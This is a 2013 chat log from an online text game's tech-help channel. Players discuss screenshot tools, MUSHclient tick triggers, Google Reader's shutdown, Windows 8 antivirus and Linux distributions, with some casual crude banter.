T3/r7/2013-03-12.txt.gz:{chan ch=tech}Scars Tech: leave internet machine on
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: NO SHUT OFF K?
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Scars Tech: no press off
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Torkin Tech: is there a way in itunes to export song names of a playlist you just created? I want to send the playlist to a friend
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Torkin Tech: even if it is just names of the songs rather than them being able to play them directly
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Vakieh Tech: screenshot
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Torkin Tech: ah, yep
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: http://www.sync-blog.com/sync/2010/07/how-and-why-to-export-playlists-in-itunes.html
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Vakieh Tech: though it is possible to export an actual playlist with audio files packaged in the folder... m3u, or some such?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Daloran Tech: So.. anyone have any idea where I might be able to source the update files for the Motorola Xooom android tablet? Can't find an official source for the rom
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Percival Tech: xda dev?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Daloran Tech: Need an official source unfortunately
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Percival Tech: ah
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Daloran Tech: Otherwise, Cyanogenmod all around!
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Percival Tech: +1 to that
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: I find calling the companies works best - a lot of execs of these companies are internet retarded, and don't load up google with nice links
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: I heard Ubuntu Touch is using cyanogenmod as a framework for installing on existing devices. Thought that was cool.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Daloran Tech: Probably my next step, Vak. They have a pile of them at work, trying to see if I can't find a shortcut to updating them, instead of OTA updating everyone manually
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Daloran Tech: thats kind of a pita.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: any good ideas for free window capture tools? tnt seems promising, but it takes HUGE images (by adding tons of whitespace around things).
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: like a screen recorder?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: Just need still images. Not moving.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: Win 7 has snipping tool
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: printscreen
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: It only does the large window, not any subwindows. And it gets weird with aero.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: Ixle: I lose rounded corners.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: Oh you need it to form to rounded corners and not just square it off?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: You might have to open an image editor for that regardless.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: if it squares it off, it should look nice. Not capture anything in the background.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: Is it a window you can make full screen?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Leinei Tech: alt+print screen will only capture the active window
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: Leinei: but oddly enough, when I have two moniters set up, it won't capture my subwindows. :P I swear I had it working yesterday, but today it is captureing the whole set of windows. And it doens't handle aero well.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: winsnap is nice, it lets me take screenshots of specific objects, keeps transparency, etc. But it isn't a free program, which means aquiring a lisence and stuff.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Jaenelle Tech: Oooo, found a program we already bought tucked into a random folder on the server! Snagit. :) Works beautifully!
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: hey?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: anybod there?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Scars Tech: Nope.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: hehe
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: I am, but only because I'M the one who ussually need the help
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto sighs.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: whatsup?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: give me any tech news
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Scars Tech: i think you are missing the point of this channel
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: whats that?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Scars Tech: the second sentence in help tech spells it out
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: For tech news, visit www.reddit.com/r/technology. For tech help and queries, come here.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: guys where to find illegal software?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: Scars sighs.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Scars Tech: Troll Grade: D-
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: I get mine from your mom
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto slaps Vonliege.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: ya... anoterh D-
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: take that sort of stuff elsewhere von
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: At least lead into it by asking about how to downgrade from windows 8 so people get sucked in first
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: hehe
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: was a joke referencing where to get ill... ah never mind... it fell flat... sorry
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Laughing Airmeith Tech: newegg still had oem win7 ultimate discs a week ago ;)
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Prakhar Tech: ladies plz don't abuse
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: here's a legit tech question that doesn't involve our mothers....  how to I tap into MUSHclients timer plugin?  I want an on-screen message that gives me a 3-4 sec heads up on tick.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Rusk Tech: the one fiendish has had a time to tick down bottom left corner didnt he?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Anything wrong with the time to tick status?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Sonshi Tech: isn't there already one under the command line in aardmush?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: the tick shows down the bottum under the command line norm i thought
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: there is indeed, and it's dang handy... I want to use that to send a screen echo, though.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Simply because the tick is close, but not exactly 30 seconds - a timer will suffer degrading accuracy
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: yes.. .that's why fiendish has it going in two second increments... but it's pretty accurate
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: it's actually +/- .5 sec most of the time.. I believe it ques off of world events and recalibrate wuite often.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Sorry what? The time to tick is not a timer... going in 2 second increments won't help if you have steadily worsening accuracy
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: the tick-timer is really just a 30 second loop... but it only DISPLAYS every two seconds... for psycological reasons.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: no, it isn't
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: enlighten us.. I'm to expert... BELIEVE me!
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my tick timer script syncs every tick. it goes off sync pretty damn quick if you client just counts 30 seconds
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: doesent sound hard to set up
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: it counts 30 seconds... sure, but it has to look at cues off the screen... events that are know to happen on the tick... and recalibrates
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: The tick timer in mush is a series of 2 second timers
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm using zmud. there's a #TS command for setting tick timer, so each tick triggers #TS 30
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im guessig you would sync off something like --> TICK <-- 
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: yes, R... that woudl sure work.. but Fiendish can't rely on everyone enabling that feature
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Ixle Tech: You can sync off gmcp also.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Sure he can - GMCP sends it's own message, and Fiendish turns that on for you when you load up mush
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vonliege Tech: K
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mis
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Protogynus Robbo Tech: COPY CON: C:\CONFIG.SYS
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Aldeas Tech: thats some old school right there
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Oladon Tech: http://xkcd.com/1172/
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: They are getting rid of google reader o.0 How in the hell am I supposed to read web comics now???!?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: paperback
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: what's google reader? }:>
T3/r7/2013-03-13.txt.gz:{chan ch=tech}RedRain Tech: history soon
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Heyhey. I found a replacement for Google Reader, that was fast :-) Oldreader, though understandably it is getting a little... swamped atm
T3/r7/2013-03-13.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that like Oldfriend?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: If friend was an rss reader, then yes, exactly like oldfriend
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Silent Noro Tech: Holy Crapola. I haven't heard that name in ages! 
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: thank goodness :P
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: ZOMG, just saw that didn't realize Google reader was dying...
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Gnarcyon Tech: i don't even know what google reader is oO
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what's google reader?
T3/r7/2013-03-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: RSS Feed Reader
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: Fatal FrostBite called JINX before Gnarcyon.
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: You would think they would have a message on, idk, GOOGLE READER??? But no, had to see it on reddit
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Tech: [13 Mar 21:40:20] Abelinc Tech: what's google reader? }:>
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Vakieh Tech: Oho, looks like one has been added now 10 or 20 tech onliners have picked up the story :-P
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Noegel Tech: HAHA!
T3/r7/2013-03-13.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: anyone use a version of the group plugin in mush for cmud?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Daloran Tech: ffffuuu. Google reader getting the axe
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Anyone know how to move WinkleWinkle's Extender GUI for search and destroy?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Thunderax Tech: click and drag works for me?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I am unable to see the top of the gui.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Thunderax Tech: try xset reset gui
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Brilliant, thanks sir.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vakieh Tech: So I decided to OCR my textbook because the index is a POS... it was then I realised my textbook has 1500 pages :-\
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vakieh Tech: Thankfully the OCR program seems to be capable of utilising 3 cores, which is 3x the productivity I was expecting
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Arystul Tech: anyone know of a good free virus protection for windows 8 OS?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: windows 8 has virus protection built in
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: microsft security essentials got rolled into windows 8
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Noegel Tech: So it is safe not to have a third party protection software?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: About as safe as if you didn't?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: for the most part - 3rd party protect is bad.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: i mean not always the case - and maybe for your grandparents or someone not computer literate
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Noegel Tech: Crazy how the times have changed then.  I just upgraded from Windows XP.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: most malicious things are going to be because you did it yourself
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: like opened a file you shouldn't have even after the virus scanner said not to
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: etc
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: Microsoft Security Eseentials was really good - suprisingly good.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Noegel Tech: Lol well, I'm technically proficient, I'm not dumb when it comes to those things
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Noegel Tech: But I guess I have seen family members do super dumb things
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: Yeah - when they rolled out windows 7 - they offered security esesntials as a free addon
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: and then when they offered 8 they rolled it together.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Noegel Tech: Sweet
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: Just make sure to keep your windows 8 anti virus up to date and you're more than good.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: If you have windows 7 - make sure to get security essentials from imcrosoft themselves - I've seen a lot of fake antivirus trying to look like something similar to get access to your computer.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Arystul Tech: my computer had norton on it which I removed, how do I get windows security essentials for free? or if I already have it how do I activate it?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: I would almost never recommend norton or symantec they're usually insanely bloated.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: Just go to microsoft's website
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: google - microsoft security essentials
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: it's offered to everyone that has windows 7
T3/r7/2013-03-14.txt.gz:{chan ch=tech}MiniMeanie Waffles Tech: pretty sure microsoft got tired of hearing their system was "not safe" so they're being much more proactive with security
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: Trying to open a 2nd client to test Server. I copied my MUSH to a new folder. When I start the Test Client, how do I change the IP address without loosing all the handy Aard MUSH windows etc..?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: Alt+1 to open Game Configure.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: Change the Port Address to the Test Port Address
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: Nice, thanks Turie. Just keep the world name the same?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: If you have the client in a different folder.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: If you are using the same folder, you will need to load all the plugins and save the World File as Testport something.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: Ya seperate folder... got like 4 of them now... I need to do some spring cleaning.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: Keep in mind that the portals you have will not be on testport unless you copy your pfile over.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: Ahh, good point. Actually dont really need alot of my crap prolly
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: how hard is it to copy my pfile over?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: Remember, you will be having Mapper over there, so be consiuous about that.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: There is a helpfile about it.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: It is on testport. Not on live.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: Cool, so should I log on to test with my same name, then read the helpfile, or some random name?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: I would speak with an Imm.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: That is something I am not certain about. You could try Doink or your previous name.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Doink Tech: thanks
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Menomarou Tech: how do you unlock the windows in aardclient?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Menomarou Tech: no one knows? shucks hehe
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: aard layout unlock
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Turie Tech: aard layout lock
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Menomarou Tech: awesome, thanks :)
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Asterax Tech: is there a command in mush to reset the window position of scripts? right now ww's extender gui won't move.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: reset_aard, iirc? or you can try xset reset gui?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: xset reset gui should work for you.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Asterax Tech: ah
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Asterax Tech: thanks
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I think it's resetaard, all one word
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: and officially, I just want it known I use cmud, so dont think I'm a mush genius :) cause I'm not :P
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Asterax Tech: I'll be sure to spam you with all my mushclient questions in future
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: okay im working on getting mush figured out, im used to cmud, how do make triggar
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: Game->Configure->Triggers
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: top bar
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: ive been palying with that but i cant seem to get anything to fire off commands
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: the layout of triggers is similar, but it's different checkmarks in mush
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: What are you trying to trigger off?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: Those would be aliases, basically custom commands.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: well just testing im tryign to fire "random" every tick
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: what is "random"
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: what is the text you're trying to trigger off
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: its the random command in aard
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: what is your send set to?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Prince Wario Tech: triggers are easy in the mush
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: OK, so what pattern are you matching?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: Are you triggering on the right thing?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: triggers trigger line is -->TICK<-- and the box i think you would put your command in is just random
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: well --> TICK <--
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Prince Wario Tech: you don't need to trigger tech, it's a mud command under timers
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Is the "Send to" box set to "World"?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try ^\-\-\>TICK\<\-\- and click the regular expression box
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: tech yes
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Hanslanda Tech: why are you using autotick when you could be using GMCP instead?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: tickbox that is
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: do i need to use REGEX? id prefer to stick to python since i know it a little better
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I wonder if maybe the aardwolf scripts are already triggering on ticks, without falling through
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: its a bare mush install, not the aardworld msuh
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: I'm going to try the trigger myself, i hopped on mush from cmud
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: im just using the autotick since its a regular thing that shows up i c an use for testin
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Hit control-shift-8, make sure "Triggers enabled" checkbox is on
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: they are enabled
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: you could also use test trigger shift + ctr + f12
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: http://i.imgur.com/bpbLvbc.png
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: that is my setup, i would think it should throw "burgle" dirrectly to the mud and aard will give be an invalid command prompt
T3/r7/2013-03-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you don't want to spam an invalid command every tick :P
T3/r7/2013-03-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: imms'll get mad at you
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: its only for testing since i couldnt get any triggers to fire before
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Shameful Dugrant Tech: indeed, better to use the echo command
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: You can make it trigger on something simple like "trigger test" and use the echo command to send it to your client
T3/r7/2013-03-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: click regular exprestion box and remove the $ produced, may help
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: donno the echo command for mush, still brand new
T3/r7/2013-03-14.txt.gz:{chan ch=tech}BobTheGreat Tech: help echo
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: He meant the echo command in aard, but that's not the point
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: ah
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You have autotick on, right? You're actually SEEING the ---> TICK <--- ?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: yes i am
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Shameful Dugrant Tech: try dropping an asterisk after it.  Like: -->TICK<--*
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I just used the same pattern you've got in that image, and it worked for me. I'm not sure what you've got going on there.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: hmm, why did that work
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Do you have a trailing space after that? As in: "--> TICK <-- "
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: does the aasterisk do in mush what it does in z/cmud?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Frostpaw Tech: yes
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Prince Wario Tech: I just drop the astrick right after the tick*
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: ah, and i need to match the entire line
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Yup.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You don't need to match the entire line
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: i was hoping that like in cmud if it catches it in a line it would fire
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: It will.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: if it will then why do i need the asterisk, i understand that the asterisk means any number of white or nonwhile spaces, but if it was catching the --> TICK <-- anywhere i wouldnt need the asterisk
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Ok, Frostpaw's right - I just did some testing.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Prince Wario Tech: what the heck do you need an ostrich for anyway
T3/r7/2013-03-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: mushclient uses glob matching by default, which is automatically anchored
T3/r7/2013-03-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: several people suggested using regex instead, which is not
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: okay so i got my tick trigger ticking, time to delete and play with variables
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: oh noes! "Error -2147221005 occurred when finding CLSID of scripting language "Python":" do i not get to use python...
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: booo i need to install active python....
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Fase Tech: okay im done bothering you guys for a while, thanks for the trigger help
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what linux distro should i install?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Legendary Gruagach Tech: what are you trying to do?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well just for general use but i would like to focus on some python dev and pentesting type stuff for class
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: already have backtrack on a different laptop also
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Aizma Tech: Backtrack? -_-
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Legendary Gruagach Tech: omg leave my keys alone
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Getsuko Tech: ubuntu always
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Aizma Tech: Debian stable
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: was thinking maybe debian
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Legendary Gruagach Tech: thats all i've ever used is ubunto
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have a raspberry pi yet?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: I use RHEL for work.. it's pretty decent.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Legendary Gruagach Tech: they just make me mad with the spelling of woruds
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: I do vorpes.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you like it euty?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: It's pretty neat, yeah.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hard to go wrong with a computer for $35
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: I have the ARM Debian installed on my SD card.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: there much difference between ARM debian and regular debian?
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: Im not sure, I haven't messed with the regular distro of debian.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm maybe i will go with debian for now. friend was telling me to go with slackware but i think i will skip that
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Eutychus Tech: Ubuntu is good if you're new to Linux. OpenSUSE is decent as well.
T3/r7/2013-03-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or mint
